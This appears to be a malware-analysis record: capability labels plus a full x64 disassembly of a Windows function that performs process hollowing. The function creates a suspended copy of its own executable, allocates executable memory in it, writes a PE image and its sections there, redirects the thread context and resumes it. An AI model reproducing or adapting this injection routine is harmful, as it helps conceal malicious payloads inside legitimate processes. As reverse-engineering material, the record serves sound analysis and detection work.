Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push rbx
push rdi
push r12
push r13
sub rsp, 0x4f8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
movsxd rbx, dword [0x1400046a4]
lea r13, [0x140004668]
xorps xmm1, xmm1
xor eax, eax
add rbx, r13
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
cmp dword [rbx], 0x4550
jne 0x14000125d
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r12d, r12d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r12
xor edx, edx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000125d
lea edx, [r12 + 8]
xor ecx, ecx
lea r9d, [r12 + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rdi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000125d
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x520], rbp
mov qword [rsp + 0x530], r14
mov qword [rsp + 0x4f0], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, r13
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov rbp, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14d, r12d
cmp r12w, word [rbx + 6]
jae 0x140001212
mov qword [rsp + 0x528], rsi
lea rcx, [0x140004770]
mov esi, r12d
nop dword [rax]
nop dword [rax + rax]
movsxd rax, dword [0x1400046a4]
add rax, rsi
mov qword [rsp + 0x20], r12
mov r8d, dword [rax + rcx + 0x14]
mov edx, dword [rax + rcx + 0xc]
add r8, r13
mov r9d, dword [rax + rcx + 0x10]
add rdx, rbp
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rdi + 0x88]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
lea rcx, [0x140004770]
inc r14
add rsi, 0x28
cmp r14, rax
jb 0x1400011a0
mov rsi, qword [rsp + 0x528]
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, rbp
mov qword [rdi + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r15, qword [rsp + 0x4f0]
mov r14, qword [rsp + 0x530]
mov rbp, qword [rsp + 0x520]
xor eax, eax
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.140001290
add rsp, 0x4f8
pop r13
pop r12
pop rdi
pop rbx
ret